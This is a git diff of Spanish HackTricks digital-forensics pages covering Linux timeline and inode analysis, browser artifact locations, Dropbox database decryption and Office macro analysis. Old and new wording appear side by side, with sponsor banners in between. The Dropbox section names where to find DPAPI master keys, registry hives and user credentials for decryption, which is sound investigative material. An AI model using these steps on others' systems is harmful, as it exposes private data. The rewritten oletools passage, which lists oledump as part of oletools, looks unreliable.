Para lidiar con estas técnicas antiforense, es necesario prestar **atención cuidadosa al análisis de la línea de tiempo** de las marcas de fecha y hora del sistema de archivos y a los archivos almacenados en ubicaciones comunes donde se puede encontrar malware. Para lidiar con estas técnicas antiforense, es necesario prestar **atención cuidadosa al análisis de la línea de tiempo** de las marcas de fecha y hora del sistema de archivos y a los archivos almacenados en ubicaciones comunes donde se puede encontrar malware.
* Usando **autopsy** puedes ver la línea de tiempo de eventos que pueden ser útiles para descubrir actividades sospechosas. También puedes usar la función `mactime` de **Sleuth Kit** directamente. * Usando **autopsy** puedes ver la línea de tiempo de eventos que pueden ser útiles para descubrir actividades sospechosas. También puedes usar la función `mactime` de **Sleuth Kit** directamente.
@ -368,13 +368,13 @@ Para lidiar con estas técnicas antiforense, es necesario prestar **atención cu
* Revise las marcas de fecha y hora de los **inodos eliminados para ver si se eliminaron grandes cantidades de archivos alrededor del mismo tiempo**, lo que podría indicar actividad maliciosa como la instalación de un rootkit o un servicio troyanizado. * Revise las marcas de fecha y hora de los **inodos eliminados para ver si se eliminaron grandes cantidades de archivos alrededor del mismo tiempo**, lo que podría indicar actividad maliciosa como la instalación de un rootkit o un servicio troyanizado.
* Debido a que los inodos se asignan en función de la disponibilidad siguiente, **los archivos maliciosos colocados en el sistema aproximadamente al mismo tiempo pueden tener inodos consecutivos asignados**. Por lo tanto, después de localizar un componente del malware, puede ser productivo inspeccionar los inodos vecinos. * Debido a que los inodos se asignan en función de la disponibilidad siguiente, **los archivos maliciosos colocados en el sistema aproximadamente al mismo tiempo pueden tener inodos consecutivos asignados**. Por lo tanto, después de localizar un componente del malware, puede ser productivo inspeccionar los inodos vecinos.
* También verifique directorios como _/bin_ o _/sbin_ ya que la **hora de modificación y/o cambio** de archivos nuevos o modificados puede ser interesante. * También verifique directorios como _/bin_ o _/sbin_ ya que la **hora de modificación y/o cambio** de archivos nuevos o modificados puede ser interesante.
* Es interesante ver los archivos y carpetas de un directorio **ordenados por fecha de creación** en lugar de alfabéticamente para ver qué archivos o carpetas son más recientes (los últimos generalmente). * Es interesante ver los archivos y carpetas de un directorio **ordenados por fecha de creación** en lugar de alfabéticamente para ver qué archivos o carpetas son más recientes (generalmente los últimos).
Puede verificar los archivos más recientes de una carpeta usando `ls -laR --sort=time /bin`\ Puede verificar los archivos más recientes de una carpeta usando `ls -laR --sort=time /bin`\
Puede verificar los inodos de los archivos dentro de una carpeta usando `ls -lai /bin |sort -n` Puede verificar los inodos de los archivos dentro de una carpeta usando `ls -lai /bin |sort -n`
{% hint style="info" %} {% hint style="info" %}
Tenga en cuenta que un **atacante** puede **modificar** la **hora** para que los **archivos parezcan** **legítimos**, pero no puede modificar el **inodo**. Si encuentra que un **archivo indica** que se creó y modificó al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inodo** es **inesperadamente más grande**, entonces las **marcas de tiempo de ese archivo fueron modificadas**. Tenga en cuenta que un **atacante** puede **modificar** la **hora** para que los **archivos parezcan** **legítimos**, pero no puede modificar el **inodo**. Si encuentra que un **archivo** indica que se creó y modificó al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inodo** es **inesperadamente más grande**, entonces las **marcas de tiempo de ese archivo fueron modificadas**.
{% endhint %} {% endhint %}
## Comparar archivos de diferentes versiones del sistema de archivos ## Comparar archivos de diferentes versiones del sistema de archivos
@ -409,15 +409,13 @@ Cuando se realiza un análisis forense en un sistema Linux, es importante buscar
1. **Recuperación de archivos eliminados**: Utilice herramientas como `extundelete` o `testdisk` para buscar y recuperar archivos eliminados en sistemas de archivos ext3 y ext4. 1. **Recuperación de archivos eliminados**: Utilice herramientas como `extundelete` o `testdisk` para buscar y recuperar archivos eliminados en sistemas de archivos ext3 y ext4.
2. **Análisis de espacio no asignado**: Utilice herramientas como `foremost` o `scalpel` para buscar en el espacio no asignado del disco en busca de archivos eliminados. 2. **Análisis de espacio no asignado**: Utilice herramientas como `foremost` o `scalpel` para buscar archivos en el espacio no asignado del disco, donde los archivos eliminados pueden residir.
3. **Análisis de registros de sistema**: Revise los registros de sistema en busca de pistas sobre archivos eliminados. Los registros de sistema pueden contener información sobre archivos que han sido eliminados o modificados. 3. **Análisis de registros de sistema**: Revise los registros de sistema en busca de pistas sobre archivos eliminados. Los registros de sistema pueden contener información sobre archivos que se han eliminado o modificaciones realizadas en el sistema de archivos.
4. **Análisis de metadatos**: Examine los metadatos de los archivos existentes para encontrar referencias a archivos eliminados. Los metadatos pueden incluir información sobre archivos que han sido eliminados, como nombres de archivo antiguos o rutas de acceso. 4. **Análisis de metadatos**: Examine los metadatos de los archivos existentes para encontrar referencias a archivos eliminados. Los metadatos pueden incluir información sobre archivos que se han eliminado, como nombres de archivo antiguos o ubicaciones anteriores.
5. **Análisis de fragmentos**: Utilice herramientas como `foremost` o `scalpel` para buscar fragmentos de archivos eliminados en el disco. Recuerde que es importante realizar estas acciones en una copia forense del sistema para preservar la integridad de los datos y evitar cualquier modificación accidental.
Recuerde que es importante realizar estas acciones en una copia forense del sistema para evitar modificar o dañar la evidencia.
```bash ```bash
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
``` ```
@ -443,7 +441,7 @@ Tenga en cuenta que no todas las diferencias pueden tener todos los tipos. Por e
¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
**Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

View file

@ -1,4 +1,4 @@
# Artefactos del navegador # Artefactos del Navegador
<details> <details>
@ -15,31 +15,31 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Artefactos del navegador <a href="#3def" id="3def"></a> ## Artefactos del Navegador <a href="#3def" id="3def"></a>
Cuando hablamos de artefactos del navegador, nos referimos al historial de navegación, marcadores, lista de archivos descargados, datos de caché, etc. Cuando hablamos de artefactos del navegador, nos referimos al historial de navegación, marcadores, lista de archivos descargados, datos de caché, etc.
Estos artefactos son archivos almacenados en carpetas específicas del sistema operativo. Estos artefactos son archivos almacenados en carpetas específicas del sistema operativo.
Cada navegador almacena sus archivos en un lugar diferente al de otros navegadores y todos tienen nombres diferentes, pero la mayoría de las veces almacenan el mismo tipo de datos (artefactos). Cada navegador almacena sus archivos en un lugar diferente al de otros navegadores y todos tienen nombres diferentes, pero generalmente almacenan el mismo tipo de datos (artefactos).
Veamos los artefactos más comunes almacenados por los navegadores. Veamos los artefactos más comunes almacenados por los navegadores.
* **Historial de navegación:** Contiene datos sobre el historial de navegación del usuario. Puede utilizarse para rastrear si el usuario ha visitado sitios maliciosos, por ejemplo. * **Historial de Navegación:** Contiene datos sobre el historial de navegación del usuario. Puede utilizarse para rastrear si el usuario ha visitado sitios maliciosos, por ejemplo.
* **Datos de autocompletado:** Estos son los datos que el navegador sugiere en función de lo que más buscas. Puede utilizarse junto con el historial de navegación para obtener más información. * **Datos de Autocompletado:** Estos son los datos que el navegador sugiere en función de lo que más buscas. Puede utilizarse junto con el historial de navegación para obtener más información.
* **Marcadores:** Autoexplicativo. * **Marcadores:** Autoexplicativo.
* **Extensiones y complementos:** Autoexplicativo. * **Extensiones y Complementos:** Autoexplicativo.
* **Caché:** Al navegar por sitios web, el navegador crea todo tipo de datos en caché (imágenes, archivos JavaScript, etc.) por diversas razones. Por ejemplo, para acelerar el tiempo de carga de los sitios web. Estos archivos en caché pueden ser una gran fuente de datos durante una investigación forense. * **Caché:** Al navegar por sitios web, el navegador crea todo tipo de datos en caché (imágenes, archivos JavaScript, etc.) por diversas razones. Por ejemplo, para acelerar el tiempo de carga de los sitios web. Estos archivos en caché pueden ser una gran fuente de datos durante una investigación forense.
* **Inicios de sesión:** Autoexplicativo. * **Inicios de Sesión:** Autoexplicativo.
* **Favicons:** Son los pequeños iconos que se encuentran en las pestañas, URLs, marcadores, etc. Se pueden utilizar como otra fuente para obtener más información sobre el sitio web o los lugares que visitó el usuario. * **Favicons:** Son los pequeños iconos que se encuentran en las pestañas, URLs, marcadores, etc. Se pueden utilizar como otra fuente para obtener más información sobre el sitio web o los lugares que visitó el usuario.
* **Sesiones del navegador:** Autoexplicativo. * **Sesiones del Navegador:** Autoexplicativo.
* **Descargas:** Autoexplicativo. * **Descargas:** Autoexplicativo.
* **Datos de formularios:** Todo lo que se escribe dentro de los formularios a menudo se almacena en el navegador, para que la próxima vez que el usuario ingrese algo en un formulario, el navegador pueda sugerir datos ingresados previamente. * **Datos de Formularios:** Todo lo que se escribe en los formularios a menudo se almacena en el navegador, para que la próxima vez que el usuario ingrese algo en un formulario, el navegador pueda sugerir datos ingresados previamente.
* **Miniaturas:** Autoexplicativo. * **Miniaturas:** Autoexplicativo.
* **Custom Dictionary.txt**: Palabras agregadas al diccionario por el usuario. * **Custom Dictionary.txt**: Palabras agregadas al diccionario por el usuario.
@ -47,7 +47,7 @@ Veamos los artefactos más comunes almacenados por los navegadores.
Firefox crea la carpeta de perfiles en \~/_**.mozilla/firefox/**_ (Linux), en **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\ Firefox crea la carpeta de perfiles en \~/_**.mozilla/firefox/**_ (Linux), en **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\
Dentro de esta carpeta, debería aparecer el archivo _**profiles.ini**_ con el nombre(s) del perfil(es) de usuario.\ Dentro de esta carpeta, debería aparecer el archivo _**profiles.ini**_ con el nombre(s) del perfil(es) de usuario.\
Cada perfil tiene una variable "**Path**" con el nombre de la carpeta donde se almacenarán sus datos. La carpeta debería estar **presente en el mismo directorio donde se encuentra el archivo \_profiles.ini**\_\*\*. Si no lo está, probablemente fue eliminada. Cada perfil tiene una variable "**Path**" con el nombre de la carpeta donde se almacenarán sus datos. La carpeta debe estar **presente en el mismo directorio donde se encuentra el archivo \_profiles.ini**\_\*\*. Si no lo está, probablemente fue eliminada.
Dentro de la carpeta **de cada perfil** (_\~/.mozilla/firefox/\<NombrePerfil>/_) deberías poder encontrar los siguientes archivos interesantes: Dentro de la carpeta **de cada perfil** (_\~/.mozilla/firefox/\<NombrePerfil>/_) deberías poder encontrar los siguientes archivos interesantes:
@ -57,27 +57,27 @@ Dentro de la carpeta **de cada perfil** (_\~/.mozilla/firefox/\<NombrePerfil>/_)
* 1: El usuario siguió un enlace * 1: El usuario siguió un enlace
* 2: El usuario escribió la URL * 2: El usuario escribió la URL
* 3: El usuario utilizó un favorito * 3: El usuario utilizó un favorito
* 4: Cargado desde un iframe * 4: Cargado desde un Iframe
* 5: Accedido a través de una redirección HTTP 301 * 5: Accedido a través de una redirección HTTP 301
* 6: Accedido a través de una redirección HTTP 302 * 6: Accedido a través de una redirección HTTP 302
* 7: Archivo descargado * 7: Archivo descargado
* 8: El usuario siguió un enlace dentro de un iframe * 8: El usuario siguió un enlace dentro de un Iframe
* Consulta para volcar las descargas: `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;` * Consulta para volcar las descargas: `SELECT datetime(lastModified/1000000,'unixepoch') AS down_date, content as File, url as URL FROM moz_places, moz_annos WHERE moz_places.id = moz_annos.place_id;`
* *
* _**bookmarkbackups/**_ : Copias de seguridad de marcadores * _**bookmarkbackups/**_ : Copias de seguridad de marcadores
* _**formhistory.sqlite**_ : Datos de formularios web (como correos electrónicos) * _**formhistory.sqlite**_ : Datos de formularios web (como correos electrónicos)
* _**handlers.json**_ : Controladores de protocolo (por ejemplo, qué aplicación va a manejar el protocolo _mailto://_) * _**handlers.json**_ : Manejadores de protocolos (por ejemplo, qué aplicación va a manejar el protocolo _mailto://_)
* _**persdict.dat**_ : Palabras agregadas al diccionario * _**persdict.dat**_ : Palabras agregadas al diccionario
* _**addons.json**_ y \_**extensions.sqlite** \_ : Complementos y extensiones instalados * _**addons.json**_ y \_**extensions.sqlite** \_ : Complementos y extensiones instalados
* _**cookies.sqlite**_ : Contiene **cookies**. En Windows, se puede utilizar [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) para inspeccionar este archivo. * _**cookies.sqlite**_ : Contiene **cookies**. En Windows, se puede utilizar [**MZCookiesView**](https://www.nirsoft.net/utils/mzcv.html) para inspeccionar este archivo.
* _**cache2/entries**_ o _**startupCache**_ : Datos de caché (\~350MB). También se pueden utilizar trucos como la **recuperación de datos** para obtener los archivos guardados en la caché. Se puede utilizar [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) para ver los **archivos guardados en la caché**. * _**cache2/entries**_ o _**startupCache**_ : Datos de caché (\~350MB). También se pueden utilizar técnicas como **data carving** para obtener los archivos guardados en la caché. Se puede utilizar [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) para ver los **archivos guardados en la caché**.
Información que se puede obtener: Información que se puede obtener:
* URL, recuento de recuperación, nombre de archivo, tipo de contenido, tamaño de archivo, hora de la última modificación, hora de la última recuperación, última modificación del servidor, respuesta del servidor * URL, recuento de descargas, nombre de archivo, tipo de contenido, tamaño del archivo, hora de la última modificación, hora de la última descarga, última modificación del servidor, respuesta del servidor
* _**favicons.sqlite**_ : Favicons * _**favicons.sqlite**_ : Favicons
* _**prefs.js**_ : Configuraciones y preferencias * _**prefs.js**_ : Configuraciones y preferencias
* _**downloads.sqlite**_ : Base de datos de descargas antiguas (ahora está dentro de places.sqlite) * _**downloads.sqlite**_ : Base de datos antigua de descargas (ahora está dentro de places.sqlite)
* _**thumbnails/**_ : Miniaturas * _**thumbnails/**_ : Miniaturas
* _**logins.json**_ : Nombres de usuario y contraseñas encriptados * _**logins.json**_ : Nombres de usuario y contraseñas encriptados
* **Anti-phishing incorporado en el navegador:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js` * **Anti-phishing incorporado en el navegador:** `grep 'browser.safebrowsing' ~/Library/Application Support/Firefox/Profiles/*/prefs.js`
@ -270,7 +270,7 @@ Opera **almacena el historial del navegador y los datos de descarga en el mismo
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -62,7 +62,7 @@ Y las bases de datos principales son:
La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Para comprender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). Para entender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Sin embargo, la información principal es: Sin embargo, la información principal es:
@ -76,9 +76,9 @@ Además de esa información, para descifrar las bases de datos aún necesitas:
* La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binarios) * La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binarios)
* Las colmenas **`SYSTEM`** y **`SECURITY`** * Las colmenas **`SYSTEM`** y **`SECURITY`**
* Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\<nombre de usuario>\AppData\Roaming\Microsoft\Protect` * Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\<nombre de usuario>\AppData\Roaming\Microsoft\Protect`
* El nombre de usuario y la contraseña del usuario de Windows * El **nombre de usuario** y la **contraseña** del usuario de Windows
Luego puedes usar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** Luego puedes utilizar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>) ![](<../../../.gitbook/assets/image (448).png>)
@ -93,12 +93,12 @@ La base de datos **`config.dbx`** contiene:
* **Email**: El correo electrónico del usuario * **Email**: El correo electrónico del usuario
* **usernamedisplayname**: El nombre del usuario * **usernamedisplayname**: El nombre del usuario
* **dropbox\_path**: Ruta donde se encuentra la carpeta de Dropbox * **dropbox\_path**: Ruta donde se encuentra la carpeta de Dropbox
* **Host\_id: Hash** utilizado para autenticarse en la nube. Esto solo se puede revocar desde la web. * **Host\_id: Hash** utilizado para autenticarse en la nube. Esto solo puede ser revocado desde la web.
* **Root\_ns**: Identificador de usuario * **Root\_ns**: Identificador del usuario
La base de datos **`filecache.db`** contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que contiene más información útil: La base de datos **`filecache.db`** contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que contiene más información útil:
* **Server\_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta va precedida por el `host_id` del cliente). * **Server\_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente).
* **local\_sjid**: Versión del archivo * **local\_sjid**: Versión del archivo
* **local\_mtime**: Fecha de modificación * **local\_mtime**: Fecha de modificación
* **local\_ctime**: Fecha de creación * **local\_ctime**: Fecha de creación
@ -114,7 +114,7 @@ Otras tablas dentro de esta base de datos contienen información más interesant
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -15,7 +15,7 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -24,7 +24,7 @@ Obtén acceso hoy mismo:
Microsoft ha creado **docenas de formatos de archivo de documentos de Office**, muchos de los cuales son populares para la distribución de ataques de phishing y malware debido a su capacidad para **incluir macros** (scripts VBA). Microsoft ha creado **docenas de formatos de archivo de documentos de Office**, muchos de los cuales son populares para la distribución de ataques de phishing y malware debido a su capacidad para **incluir macros** (scripts VBA).
Hablando en términos generales, hay dos generaciones de formatos de archivo de Office: los formatos **OLE** (extensiones de archivo como RTF, DOC, XLS, PPT) y los formatos "**Office Open XML**" (extensiones de archivo que incluyen DOCX, XLSX, PPTX). **Ambos** formatos son formatos binarios de archivo compuesto y estructurado que **permiten contenido vinculado o incrustado** (objetos). Los archivos OOXML son contenedores de archivos zip, lo que significa que una de las formas más sencillas de verificar la presencia de datos ocultos es simplemente `descomprimir` el documento: En términos generales, existen dos generaciones de formatos de archivo de Office: los formatos **OLE** (extensiones de archivo como RTF, DOC, XLS, PPT) y los formatos "**Office Open XML**" (extensiones de archivo que incluyen DOCX, XLSX, PPTX). **Ambos** formatos son formatos binarios de archivo compuestos y estructurados que **permiten contenido vinculado o incrustado** (objetos). Los archivos OOXML son contenedores de archivos zip, lo que significa que una de las formas más sencillas de verificar la presencia de datos ocultos es simplemente `descomprimir` el documento:
``` ```
$ unzip example.docx $ unzip example.docx
Archive: example.docx Archive: example.docx
@ -75,17 +75,39 @@ $ soffice path/to/test.docx macro://./standard.module1.mymacro
``` ```
## [oletools](https://github.com/decalage2/oletools) ## [oletools](https://github.com/decalage2/oletools)
oletools es una colección de scripts y herramientas de línea de comandos para analizar archivos OLE (Object Linking and Embedding), como los archivos de Microsoft Office (doc, xls, ppt), archivos de Outlook (pst), archivos de MS-Office 2007 y 2010 (docx, xlsx, pptx), archivos de MS-Office 97 (xls, doc, ppt), etc. oletools es una colección de scripts y herramientas de línea de comandos para analizar archivos OLE y archivos de Microsoft Office, como documentos de Word, presentaciones de PowerPoint y hojas de cálculo de Excel. Estas herramientas son útiles para el análisis forense de archivos de Office y pueden ayudar a identificar posibles amenazas de seguridad.
Estas herramientas pueden ser útiles en el análisis forense de archivos de Office para detectar malware, exploits y otros comportamientos sospechosos. Algunas de las herramientas incluidas en oletools son: ### oleid
- **olebrowse**: una herramienta para examinar la estructura interna de los archivos OLE y extraer información relevante. `oleid` es una herramienta que permite identificar el tipo de archivo OLE y las características específicas del archivo. Puede mostrar información como la versión de Office utilizada para crear el archivo, las macros incrustadas y los objetos OLE presentes en el archivo.
- **oleid**: una herramienta para identificar el tipo de archivo OLE y verificar si contiene macros maliciosas.
- **olevba**: una herramienta para analizar macros de Office y extraer información sobre su comportamiento.
- **rtfobj**: una herramienta para extraer objetos incrustados de archivos RTF (Rich Text Format).
- **olemap**: una herramienta para mapear la estructura interna de los archivos OLE y mostrar las relaciones entre los objetos.
Estas herramientas son de código abierto y están disponibles en GitHub para su descarga y uso. Pueden ser una adición valiosa a la caja de herramientas de un analista forense o de seguridad. Para utilizar `oleid`, simplemente ejecuta el siguiente comando:
```
oleid archivo.docx
```
### olevba
`olevba` es una herramienta que analiza macros incrustadas en archivos de Office y extrae información relevante. Puede mostrar el código VBA, las cadenas de texto utilizadas en las macros y las funciones utilizadas.
Para utilizar `olevba`, simplemente ejecuta el siguiente comando:
```
olevba archivo.docx
```
### oledump
`oledump` es una herramienta que permite analizar archivos OLE y extraer información de ellos. Puede mostrar la estructura del archivo, los objetos OLE incrustados, los flujos de datos y los scripts VBA presentes en el archivo.
Para utilizar `oledump`, simplemente ejecuta el siguiente comando:
```
oledump archivo.docx
```
Estas herramientas son solo algunas de las muchas disponibles en oletools. Puedes explorar más funcionalidades y opciones en la [página de GitHub de oletools](https://github.com/decalage2/oletools).
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
@ -101,7 +123,7 @@ Las funciones de macro como `AutoOpen`, `AutoExec` o `Document_Open` se ejecutar
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -110,7 +132,7 @@ Obtén acceso hoy mismo:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
